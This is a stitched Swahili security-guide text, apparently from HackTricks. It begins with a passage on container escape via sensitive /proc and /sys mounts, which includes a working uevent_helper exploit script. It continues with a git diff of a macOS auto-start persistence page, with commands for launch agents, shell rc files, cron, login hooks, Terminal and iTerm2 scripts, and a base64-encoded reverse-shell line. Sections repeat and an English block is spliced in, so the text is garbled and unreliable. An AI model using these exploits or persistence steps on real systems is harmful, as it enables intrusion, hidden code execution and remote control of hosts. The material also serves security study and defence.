* Inawakilisha kumbukumbu halisi ya mfumo kwa muundo wa msingi wa ELF.
* Kusoma kunaweza kufichua kumbukumbu ya mwenyeji na maudhui ya kumbukumbu za kontena zingine.
* Ukubwa mkubwa wa faili unaweza kusababisha matatizo ya kusoma au kuharibika kwa programu.
* Matumizi ya kina katika [Kudondosha /proc/kcore mnamo 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
### **`/sys/kernel/security`**
- Ina `securityfs` interface, inaruhusu usanidi wa Moduli za Usalama za Linux kama AppArmor.
- Upatikanaji unaweza kuwezesha kontena kuzima mfumo wake wa MAC.
#### **`/proc/kmem`**
### **`/sys/firmware/efi/vars` na `/sys/firmware/efi/efivars`**
- Inafunua interfaces za kuingiliana na pembejeo za EFI katika NVRAM.
- Usanidi mbaya au udanganyifu unaweza kusababisha kompyuta ndogo zilizoharibika au mashine za mwenyeji zisizoweza kuanza.
* Kiolesura mbadala kwa `/dev/kmem`, ikionyesha kumbukumbu ya virtual ya kernel.
* Inaruhusu kusoma na kuandika, hivyo kubadilisha moja kwa moja kumbukumbu ya kernel.
### **`/sys/kernel/debug`**
- `debugfs` inatoa interface ya kurekebisha bila sheria kwa kernel.
- Historia ya masuala ya usalama kutokana na asili yake isiyo na kizuizi.
#### **`/proc/mem`**
* Kiolesura mbadala kwa `/dev/mem`, ikionyesha kumbukumbu halisi.
* Inaruhusu kusoma na kuandika, mabadiliko ya kumbukumbu yote yanahitaji kutatua anwani za virtual hadi halisi.
#### **`/proc/sched_debug`**
* Inarudi taarifa za ratiba ya mchakato, ikipuuza ulinzi wa nafasi ya PID.
* Inafichua majina ya mchakato, vitambulisho vya ID, na kitambulisho cha cgroup.
#### **`/proc/[pid]/mountinfo`**
* Hutoa habari kuhusu maeneo ya kufunga katika nafasi ya kufunga ya mchakato.
* Inafichua eneo la `rootfs` au picha ya kontena.
### Vulnerabilities za `/sys`
#### **`/sys/kernel/uevent_helper`**
* Hutumiwa kushughulikia vifaa vya kernel `uevents`.
* Kuandika kwa `/sys/kernel/uevent_helper` kunaweza kutekeleza hati za kubahatisha wakati wa kichocheo cha `uevent`.
* **Mfano wa Uvamizi**: %%%bash
## Unda mzigo
echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper
## Pata njia ya mwenyeji kutoka kwa mlima wa OverlayFS kwa kontena
njia_ya_mwenyeji=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
## Weka uevent\_helper kwa msaidizi wa kudanganya
echo "$njia_ya_mwenyeji/evil-helper" > /sys/kernel/uevent\_helper
## Kichocheo cha uevent
echo change > /sys/class/mem/null/uevent
## Soma matokeo
cat /output %%%
#### **`/sys/class/thermal`**
* Inadhibiti mipangilio ya joto, ikisababisha mashambulizi ya DoS au uharibifu wa kimwili.
#### **`/sys/kernel/vmcoreinfo`**
* Inavuja anwani za kernel, ikisababisha kuhatarisha KASLR.
#### **`/sys/kernel/security`**
* Ina `securityfs` interface, ikiruhusu usanidi wa Moduli za Usalama za Linux kama AppArmor.
* Upatikanaji unaweza kuwezesha kontena kulegeza mfumo wake wa MAC.
#### **`/sys/firmware/efi/vars` na `/sys/firmware/efi/efivars`**
* Inafunua interfaces za kuingiliana na vipengele vya EFI katika NVRAM.
* Kutokuwa sawa au kutumia vibaya kunaweza kusababisha kompyuta zenye matatizo au mashine za mwenyeji zisizoweza kuanza.
#### **`/sys/kernel/debug`**
* `debugfs` inatoa interface ya uchunguzi "bila sheria" kwa kernel.
* Historia ya masuala ya usalama kutokana na asili yake isiyo na kizuizi.
### Marejeo
## Marejeo
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
* [Understanding and Hardening Linux Containers](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Abusing Privileged and Unprivileged Linux Containers](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
<details>
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi wa PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
* [Kuelewa na Kufanya Linux Containers Kuwa Imara](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
* [Kutumia Vibaya Linux Containers Zenye Mamlaka na Zisizo na Mamlaka](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)

View file

@ -6,7 +6,7 @@
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Ikiwa unataka kuona **kampuni yako ikionekana katika HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -16,39 +16,39 @@ Njia nyingine za kusaidia HackTricks:
Sehemu hii inategemea sana kwenye mfululizo wa blogu [**Zaidi ya LaunchAgents nzuri**](https://theevilbit.github.io/beyond/), lengo ni kuongeza **Maeneo zaidi ya Kuanza Kiotomatiki** (ikiwezekana), kuonyesha **njia zipi bado zinafanya kazi** leo na toleo la karibuni la macOS (13.4) na kueleza **ruhusa** inayohitajika.
## Kupita Kizuizi cha Sanduku la Mchanga
## Kupuuza Sanduku la Mchanga
{% hint style="success" %}
Hapa unaweza kupata maeneo ya kuanza yanayofaa kwa **kupita kizuizi cha sanduku la mchanga** ambayo inakuruhusu tu kutekeleza kitu kwa **kuandika kwenye faili** na **kungojea** kwa **kitendo cha kawaida sana**, kiasi **fulani cha muda** au **kitendo unachoweza kawaida kufanya** ndani ya sanduku la mchanga bila kuhitaji ruhusa ya msingi.
Hapa unaweza kupata maeneo ya kuanza yanayofaa kwa **kupuuza sanduku la mchanga** ambayo inakuruhusu tu kutekeleza kitu kwa **kuandika kwenye faili** na **kungojea** kwa **kitendo cha kawaida sana**, kiasi **fulani cha wakati** au **kitendo unachoweza kawaida kufanya** ndani ya sanduku la mchanga bila kuhitaji ruhusa ya msingi.
{% endhint %}
### Launchd
* Inafaa kwa kupita kizuizi cha sanduku la mchanga: [](https://emojipedia.org/check-mark-button)
* Kizuizi cha TCC: [🔴](https://emojipedia.org/large-red-circle)
* Inatumika kwa kupuuza sanduku la mchanga: [](https://emojipedia.org/check-mark-button)
* Kupuuza TCC: [🔴](https://emojipedia.org/large-red-circle)
#### Maeneo
* **`/Library/LaunchAgents`**
* **Kitendo cha Kuanza**: Reboot
* **Kitendo**: Kuanza upya
* Inahitajika mizizi
* **`/Library/LaunchDaemons`**
* **Kitendo cha Kuanza**: Reboot
* **Kitendo**: Kuanza upya
* Inahitajika mizizi
* **`/System/Library/LaunchAgents`**
* **Kitendo cha Kuanza**: Reboot
* **Kitendo**: Kuanza upya
* Inahitajika mizizi
* **`/System/Library/LaunchDaemons`**
* **Kitendo cha Kuanza**: Reboot
* **Kitendo**: Kuanza upya
* Inahitajika mizizi
* **`~/Library/LaunchAgents`**
* **Kitendo cha Kuanza**: Ingia tena
* **Kitendo**: Kuingia tena
* **`~/Library/LaunchDemons`**
* **Kitendo cha Kuanza**: Ingia tena
* **Kitendo**: Kuingia tena
#### Maelezo & Uvamizi
**`launchd`** ni **mchakato wa kwanza** unaoendeshwa na kernel ya OX S wakati wa kuanza na wa mwisho kumaliza wakati wa kuzima. Daima inapaswa kuwa na **PID 1**. Mchakato huu utasoma na kutekeleza mipangilio iliyotajwa katika **plists ya ASEP** katika:
**`launchd`** ni **mchakato wa kwanza** unaoendeshwa na kernel ya OX S wakati wa kuanza na wa mwisho kumaliza wakati wa kuzima. Daima inapaswa kuwa na **PID 1**. Mchakato huu utasoma na kutekeleza mipangilio iliyotajwa katika **plists za ASEP** katika:
* `/Library/LaunchAgents`: Mawakala wa mtumiaji waliowekwa na msimamizi
* `/Library/LaunchDaemons`: Daemons za mfumo zilizowekwa na msimamizi
@ -57,7 +57,7 @@ Hapa unaweza kupata maeneo ya kuanza yanayofaa kwa **kupita kizuizi cha sanduku
Wakati mtumiaji anapoingia, plists zilizoko katika `/Users/$USER/Library/LaunchAgents` na `/Users/$USER/Library/LaunchDemons` zinaanza na **ruhusa za watumiaji walioingia**.
**Tofauti kuu kati ya mawakala na daemons ni kwamba mawakala hupakiwa wakati mtumiaji anaingia na daemons hupakiwa wakati wa kuanza kwa mfumo** (kwa kuwa kuna huduma kama ssh inayohitaji kutekelezwa kabla ya mtumiaji yeyote kupata ufikiaji wa mfumo). Pia mawakala wanaweza kutumia GUI wakati daemons wanahitaji kukimbia kwenye hali ya nyuma.
**Tofauti kuu kati ya mawakala na daemons ni kwamba mawakala hupakiwa wakati mtumiaji anaingia na daemons hupakiwa wakati wa kuanza kwa mfumo** (kwa kuwa kuna huduma kama ssh ambayo inahitaji kutekelezwa kabla ya mtumiaji yeyote kupata ufikiaji wa mfumo). Pia mawakala wanaweza kutumia GUI wakati daemons wanahitaji kukimbia kwenye hali ya nyuma.
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN">
@ -80,13 +80,13 @@ Wakati mtumiaji anapoingia, plists zilizoko katika `/Users/$USER/Library/LaunchA
</dict>
</plist>
```
Kuna matukio ambapo **mawakala anahitaji kutekelezwa kabla ya mtumiaji kuingia**, hizi huitwa **PreLoginAgents**. Kwa mfano, hii ni muhimu kutoa teknolojia ya msaada wakati wa kuingia. Wanaweza kupatikana pia katika `/Library/LaunchAgents` (ona [**hapa**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) mfano).
Kuna matukio ambapo **mawakala wanahitaji kutekelezwa kabla ya mtumiaji kuingia**, hizi huitwa **PreLoginAgents**. Kwa mfano, hii ni muhimu kutoa teknolojia ya msaada wakati wa kuingia. Wanaweza kupatikana pia katika `/Library/LaunchAgents` (ona [**hapa**](https://github.com/HelmutJ/CocoaSampleCode/tree/master/PreLoginAgents) mfano).
{% hint style="info" %}
Faili mpya za usanidi za Daemons au Agents zitapakia **baada ya kuanza upya au kutumia** `launchctl load <target.plist>` Pia ni **pweza kupakia faili za .plist bila kipanuzi** hicho na `launchctl -F <file>` (hata hivyo faili hizo za plist hazitapakia moja kwa moja baada ya kuanza upya).\
Pia inawezekana **kuzima** kwa kutumia `launchctl unload <target.plist>` (mchakato ulionyeshwa na hiyo utakomeshwa),
Faili mpya za usanidi za Daemons au Agents zitapakia **baada ya kuanza upya au kutumia** `launchctl load <target.plist>` Pia ni **inawezekana kupakia faili za .plist bila kipanuzi** hicho kwa kutumia `launchctl -F <file>` (hata hivyo faili hizo za plist hazitapakia moja kwa moja baada ya kuanza upya).\
Pia ni **inawezekana kusitisha** kwa kutumia `launchctl unload <target.plist>` (mchakato ulionyeshwa na hiyo utakomeshwa),
Ili **kudhibitisha** kwamba hakuna **kitu** (kama kubadilisha) **kinazuia** **Mwakala** au **Daemon** **kutekelezwa** endesha: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
Ili **kudhibitisha** kwamba hakuna **kitu** (kama kubadilisha) **kinazuia** **Mwakala** au **Daemon** **kutoka** **kutekelezwa** endesha: `sudo launchctl load -w /System/Library/LaunchDaemos/com.apple.smdb.plist`
{% endhint %}
Orodhesha mawakala na daemons wote waliopakiwa na mtumiaji wa sasa:
@ -124,13 +124,13 @@ Maelezo (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
* `/etc/profile` (haikufanya kazi)
* `~/.profile` (haikufanya kazi)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **Kitendo**: Inatarajiwa kuzinduliwa na xterm, lakini **haipo** na hata baada ya kuiweka, kosa hili linatokea: xterm: `DISPLAY is not set`
* **Kitendo**: Inatarajiwa kuzinduliwa na xterm, lakini **haipo** na hata baada ya kuiweka kosa hili linatokea: xterm: `DISPLAY sio imewekwa`
#### Maelezo & Utekaji
Wakati wa kuanzisha mazingira ya shell kama vile `zsh` au `bash`, **faili za kuanza zinatekelezwa**. macOS kwa sasa inatumia `/bin/zsh` kama shell ya msingi. Shell hii inafikiwa moja kwa moja wakati programu ya Terminal inazinduliwa au wakati kifaa kinapatawa kupitia SSH. Ingawa `bash` na `sh` pia zipo katika macOS, lazima zitwezwe wazi ili kutumika.
Wakati wa kuanzisha mazingira ya shell kama vile `zsh` au `bash`, **faili fulani za kuanza zinatekelezwa**. macOS kwa sasa inatumia `/bin/zsh` kama shell ya msingi. Shell hii inafikiwa moja kwa moja wakati programu ya Terminal inazinduliwa au wakati kifaa kinapatawa kupitia SSH. Ingawa `bash` na `sh` pia zipo katika macOS, lazima zitwezwe wazi ili kutumika.
Ukurasa wa man wa zsh, ambao tunaweza kusoma kwa kutumia **`man zsh`** una maelezo marefu ya faili za kuanza.
Ukurasa wa man wa zsh, ambao tunaweza kusoma kwa kutumia **`man zsh`** una maelezo marefu kuhusu faili za kuanza.
```bash
# Example executino via ~/.zshrc
echo "touch /tmp/hacktricks" >> ~/.zshrc
@ -138,7 +138,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
### Programu Zilizofunguliwa tena
{% hint style="danger" %}
Kuweka mazingira ya unyanyasaji ulioonyeshwa na kuingia na kutoka au hata kuzima hakukufanyia kazi kunitekelezea programu. (Programu haikuwa inatekelezwa, labda inahitaji kuwa ikifanya kazi wakati hatua hizi zinatekelezwa)
Kuweka mazingira ya kutumia na kujiondoa na kuingia tena au hata kuzima haikufanya kazi kwangu kutekeleza programu. (Programu haikutekelezwa, labda inahitaji kuwa ikifanya kazi wakati hatua hizi zinatekelezwa)
{% endhint %}
**Maelezo**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
@ -151,11 +151,11 @@ Kuweka mazingira ya unyanyasaji ulioonyeshwa na kuingia na kutoka au hata kuzima
* **`~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`**
* **Kichocheo**: Kuanza upya kufungua tena programu
#### Maelezo na Unyanyasaji
#### Maelezo na Utekaji
Programu zote za kufunguliwa tena zimo ndani ya plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
Programu zote za kufunguliwa tena ziko ndani ya plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
Kwa hivyo, ili programu zilizofunguliwa tena ziweze kuzindua programu yako, unahitaji tu **kuongeza programu yako kwenye orodha**.
Kwa hivyo, ili programu zilizofunguliwa tena ziweze kuzindua yako, unahitaji tu **kuongeza programu yako kwenye orodha**.
UUID inaweza kupatikana kwa kuorodhesha saraka hiyo au kwa kutumia `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
@ -179,7 +179,7 @@ Kuongeza programu kwenye orodha hii unaweza kutumia:
* Inatumika kukiuka sanduku la mchanga: [](https://emojipedia.org/check-mark-button)
* Kukiuka TCC: [](https://emojipedia.org/check-mark-button)
* Matumizi ya Terminali kuwa na ruhusa za FDA ikiwa mtumiaji anaitumia
* Matumizi ya Terminali kuwa na ruhusa za FDA za mtumiaji anayetumia
#### Mahali
@ -213,6 +213,8 @@ Usanidi huu unajitokeza katika faili **`~/Library/Preferences/com.apple.Terminal
Kwa hivyo, ikiwa plist ya mapendeleo ya terminali katika mfumo inaweza kubadilishwa, basi **kazi ya `open` inaweza kutumika kufungua terminali na amri hiyo itatekelezwa**.
Unaweza kuongeza hii kutoka kwa cli na:
{% code overflow="wrap" %}
```bash
# Add
/usr/libexec/PlistBuddy -c "Set :\"Window Settings\":\"Basic\":\"CommandString\" 'touch /tmp/terminal-start-command'" $HOME/Library/Preferences/com.apple.Terminal.plist
@ -227,7 +229,7 @@ Unaweza kuongeza hii kutoka kwa cli na:
* Inatumika kukiuka sanduku la mchanga: [](https://emojipedia.org/check-mark-button)
* Kukiuka TCC: [](https://emojipedia.org/check-mark-button)
* Matumizi ya Terminali kuwa na ruhusa za FDA ikiwa mtumiaji anaitumia
* Matumizi ya Terminali kuwa na ruhusa za FDA za mtumiaji anayeitumia
#### Mahali
@ -236,9 +238,9 @@ Unaweza kuongeza hii kutoka kwa cli na:
#### Maelezo & Utekaji
Ikiwa utaunda skripti ya [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) na kuifungua, programu ya **Terminal** itaitwa moja kwa moja kutekeleza amri zilizotajwa humo. Ikiwa programu ya Terminal ina ruhusa maalum (kama vile TCC), amri yako itatekelezwa na ruhusa hizo maalum.
Ikiwa utaunda skripti ya [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) na kuifungua, programu ya **Terminali** itaitwa moja kwa moja kutekeleza amri zilizotajwa humo. Ikiwa programu ya Terminali ina ruhusa maalum (kama vile TCC), amri yako itatekelezwa na ruhusa hizo maalum.
Jaribu hivi:
Jaribu hili na:
```bash
# Prepare the payload
cat > /tmp/test.terminal << EOF
@ -266,10 +268,10 @@ open /tmp/test.terminal
# Use something like the following for a reverse shell:
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
```
Unaweza pia kutumia vifaa vya **`.command`**, **`.tool`**, na maudhui ya skripti za kawaida za shell na zitafunguliwa na Terminal.
Unaweza kutumia vifaa vya **`.command`**, **`.tool`**, na maudhui ya skripti za kawaida za shell na zitafunguliwa na Terminal pia.
{% hint style="danger" %}
Ikiwa terminal ina **Ufikiaji Kamili wa Diski**, itaweza kumaliza hatua hiyo (kumbuka kwamba amri iliyotekelezwa itaonekana kwenye dirisha la terminal).
Ikiwa terminali ina **Upatikanaji Kamili wa Diski**, itaweza kumaliza hatua hiyo (kumbuka kwamba amri iliyotekelezwa itaonekana kwenye dirisha la terminali).
{% endhint %}
### Programu za Sauti
@ -284,20 +286,20 @@ Maelezo: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://
#### Mahali
* **`/Library/Audio/Plug-Ins/HAL`**
* Inahitajika ruhusa ya msingi
* Inahitajika mizizi
* **Kichocheo**: Anza upya coreaudiod au kompyuta
* **`/Library/Audio/Plug-ins/Components`**
* Inahitajika ruhusa ya msingi
* Inahitajika mizizi
* **Kichocheo**: Anza upya coreaudiod au kompyuta
* **`~/Library/Audio/Plug-ins/Components`**
* **Kichocheo**: Anza upya coreaudiod au kompyuta
* **`/System/Library/Components`**
* Inahitajika ruhusa ya msingi
* Inahitajika mizizi
* **Kichocheo**: Anza upya coreaudiod au kompyuta
#### Maelezo
Kulingana na maelezo ya awali, ni **inawezekana kuchakata programu za sauti** na kuzipakia.
Kulingana na maelezo ya awali, inawezekana **kukusanya programu za sauti** na kuzipakia.
### Programu za QuickLook
@ -317,14 +319,14 @@ Maelezo: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.
#### Maelezo & Utekaji
Programu za QuickLook zinaweza kutekelezwa unapoweka **kielelezo cha awali cha faili** (bonyeza nafasi na faili iliyochaguliwa kwenye Finder) na **programu-jalizi inayounga mkono aina hiyo ya faili** imewekwa.
Programu za QuickLook zinaweza kutekelezwa unapopiga **kichocheo cha hakikisho cha faili** (bonyeza nafasi na faili iliyochaguliwa kwenye Finder) na **programu-jalizi inayounga mkono aina hiyo ya faili** imewekwa.
Inawezekana kuchakata programu yako mwenyewe ya QuickLook, iweke kwenye mojawapo ya maeneo yaliyotajwa hapo awali ili kuipakia kisha nenda kwenye faili inayoungwa mkono na bonyeza nafasi kuichokoza.
Inawezekana kukusanya programu yako ya QuickLook, uiweke kwenye mojawapo ya maeneo yaliyotajwa hapo juu ili kuipakia kisha nenda kwenye faili inayoungwa mkono na bonyeza nafasi kuichokoza.
### ~~Vifungo vya Kuingia/Kutoka~~
{% hint style="danger" %}
Hii haikufanya kazi kwangu, wala na Kuingia kwa Mtumiaji wala na Kutoka kwa Msingi
Hii haikufanya kazi kwangu, wala na Kuingia kwa mtumiaji wala na Kutoka kwa mizizi
{% endhint %}
**Maelezo**: [https://theevilbit.github.io/beyond/beyond\_0022/](https://theevilbit.github.io/beyond/beyond\_0022/)
@ -335,9 +337,9 @@ Hii haikufanya kazi kwangu, wala na Kuingia kwa Mtumiaji wala na Kutoka kwa Msin
#### Mahali
* Unahitaji kuweza kutekeleza kitu kama `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
* `Iko` katika `~/Library/Preferences/com.apple.loginwindow.plist`
* `I`mejumuishwa katika `~/Library/Preferences/com.apple.loginwindow.plist`
Zimepitwa na wakati lakini zinaweza kutumika kutekeleza amri wakati mtumiaji anapoingia.
Zimepitwa na wakati lakini zinaweza kutumika kutekeleza amri wakati mtumiaji anaingia.
```bash
cat > $HOME/hook.sh << EOF
#!/bin/bash
@ -364,12 +366,12 @@ Ili kufuta hiyo:
defaults delete com.apple.loginwindow LoginHook
defaults delete com.apple.loginwindow LogoutHook
```
Mmoja wa mtumiaji wa mizizi unahifadhiwa katika **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
The root user one is stored in **`/private/var/root/Library/Preferences/com.apple.loginwindow.plist`**
## Kizuizi cha Mchanga cha Masharti
## Kizuizi cha Mchanga wa Masharti
{% hint style="success" %}
Hapa unaweza kupata maeneo ya kuanza yanayofaa kwa **kizuizi cha mchanga** ambacho kinakuruhusu kutekeleza kitu kwa urahisi kwa **kuandika kwenye faili** na **kutarajia hali sio za kawaida** kama programu maalum zilizosanikishwa, hatua za mtumiaji "zisizo za kawaida" au mazingira.
Hapa unaweza kupata maeneo ya kuanza muhimu kwa **kizuizi cha mchanga** ambacho kinakuruhusu kutekeleza kitu kwa urahisi kwa **kuandika kwenye faili** na **kutarajia hali sio za kawaida** kama programu maalum zilizosanikishwa, hatua au mazingira ya mtumiaji "sio za kawaida".
{% endhint %}
### Cron
@ -389,20 +391,20 @@ Hapa unaweza kupata maeneo ya kuanza yanayofaa kwa **kizuizi cha mchanga** ambac
#### Maelezo & Utekaji
Panga kazi za cron za **mtumiaji wa sasa** na:
Pata kazi za cron za **mtumiaji wa sasa** na:
```bash
crontab -l
```
Unaweza pia kuona kazi zote za cron za watumiaji katika **`/usr/lib/cron/tabs/`** na **`/var/at/tabs/`** (inahitaji ruhusa ya msingi).
Katika MacOS, folda kadhaa zinazotekeleza hati za skripti kwa **frekwensi fulani** zinaweza kupatikana katika:
Katika MacOS, folda kadhaa zinazotekeleza hati za **frekwensi fulani** zinaweza kupatikana katika:
```bash
# The one with the cron jobs is /usr/lib/cron/tabs/
ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
```
Hapo ndipo unaweza kupata **kazi za cron** za kawaida, **kazi za at** (ambazo hazitumiwi sana) na **kazi za kipindi** (zinazotumiwa hasa kwa kusafisha faili za muda). Kazi za kipindi za kila siku zinaweza kutekelezwa kwa mfano na: `periodic daily`.
Kuongeza **kazi ya cron ya mtumiaji kiotomatiki** inawezekana kutumia:
Kuongeza **programu ya kazi ya cron ya mtumiaji kiotomatiki** inawezekana kutumia:
```bash
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
crontab /tmp/cron
@ -411,9 +413,9 @@ crontab /tmp/cron
Maelezo: [https://theevilbit.github.io/beyond/beyond\_0002/](https://theevilbit.github.io/beyond/beyond\_0002/)
* Inatumika kwa kuzidi sandbox: [](https://emojipedia.org/check-mark-button)
* Inatumika kwa kuzunguka sandbox: [](https://emojipedia.org/check-mark-button)
* Kizuizi cha TCC: [](https://emojipedia.org/check-mark-button)
* iTerm2 hutumia ruhusa za TCC zilizotolewa
* iTerm2 ilikuwa na ruhusa ya TCC iliyotolewa
#### Maeneo
@ -435,27 +437,32 @@ EOF
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
```
```markdown
### macOS Auto Start Locations
#### Launch Agents
These are per-user agents that run when a user logs in. They are located in `~/Library/LaunchAgents/`.
Launch Agents are used to run processes when a user logs in. They are located in:
#### Global Launch Agents
These are similar to launch agents but run as root and are located in `/Library/LaunchAgents/`.
- `/Library/LaunchAgents/`
- `/System/Library/LaunchAgents/`
- `~/Library/LaunchAgents/`
#### Launch Daemons
These are system-wide daemons that run regardless of which user is logged in. They are located in `/Library/LaunchDaemons/`.
Launch Daemons are used to run processes at system boot or login. They are located in:
#### Startup Items
These are legacy items that were used in older versions of macOS. They are located in `/Library/StartupItems/`.
- `/Library/LaunchDaemons/`
- `/System/Library/LaunchDaemons/`
#### Login Items
These are items that open automatically when a user logs in. They are managed in System Preferences under Users & Groups.
Login Items are applications that open when a user logs in. They are managed in:
- System Preferences > Users & Groups > Login Items
- `/Library/Preferences/com.apple.loginitems.plist`
- `~/Library/Preferences/com.apple.loginitems.plist`
```
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
@ -476,13 +483,13 @@ Skripti **`~/Library/Application Support/iTerm2/Scripts/AutoLaunch.scpt`** pia i
```bash
do shell script "touch /tmp/iterm2-autolaunchscpt"
```
Faili za mipangilio ya iTerm2 zilizoko katika **`~/Library/Preferences/com.googlecode.iterm2.plist`** zinaweza **kuonyesha amri ya kutekelezwa** wakati terminali ya iTerm2 inapo funguliwa.
Faili za mapendeleo ya iTerm2 zilizoko katika **`~/Library/Preferences/com.googlecode.iterm2.plist`** zinaweza **kuonyesha amri ya kutekelezwa** wakati terminali ya iTerm2 inapofunguliwa.
Mipangilio hii inaweza kubadilishwa katika mipangilio ya iTerm2:
Mipangilio hii inaweza kusanidiwa katika mipangilio ya iTerm2:
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Na amri inaonekana katika mipangilio:
Na amri inaonyeshwa katika mapendeleo:
```bash
plutil -p com.googlecode.iterm2.plist
{
@ -515,7 +522,7 @@ Maelezo: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
* Inatumika kukiuka sanduku la mchanga: [](https://emojipedia.org/check-mark-button)
* Lakini xbar lazima iwe imewekwa
* Kukiuka TCC: [](https://emojipedia.org/check-mark-button)
* Kizuizi cha TCC: [](https://emojipedia.org/check-mark-button)
* Inahitaji ruhusa ya Ufikivu
#### Mahali
@ -525,7 +532,7 @@ Maelezo: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevilbit.
#### Maelezo
Ikiwa programu maarufu ya [**xbar**](https://github.com/matryer/xbar) imefungwa, inawezekana kuandika script ya shelisheli katika **`~/Library/Application\ Support/xbar/plugins/`** ambayo itatekelezwa wakati xbar inapoanzishwa:
Ikiwa programu maarufu ya [**xbar**](https://github.com/matryer/xbar) imefungwa, inawezekana kuandika script ya shell katika **`~/Library/Application\ Support/xbar/plugins/`** ambayo itatekelezwa wakati xbar inapoanzishwa:
```bash
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
#!/bin/bash
@ -540,16 +547,16 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
* Inatumika kukiuka sanduku la mchanga: [](https://emojipedia.org/check-mark-button)
* Lakini Hammerspoon lazima iwe imewekwa
* Kukiuka TCC: [](https://emojipedia.org/check-mark-button)
* Inahitaji ruhusa za Ufikivu
* Inahitaji ruhusa ya Ufikivu
#### Mahali
* **`~/.hammerspoon/init.lua`**
* **Kichocheo**: Mara tu Hammerspoon inapotekelezwa
* **Kichocheo**: Mara Hammerspoon inapotekelezwa
#### Maelezo
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) inafanya kazi kama jukwaa la kiotomatiki kwa **macOS**, ikichanganya **lugha ya skripti ya LUA** kwa shughuli zake. Kwa umuhimu, inasaidia uingizaji wa nambari kamili ya AppleScript na utekelezaji wa skripti za shell, ikiboresha uwezo wake wa skripti kwa kiasi kikubwa.
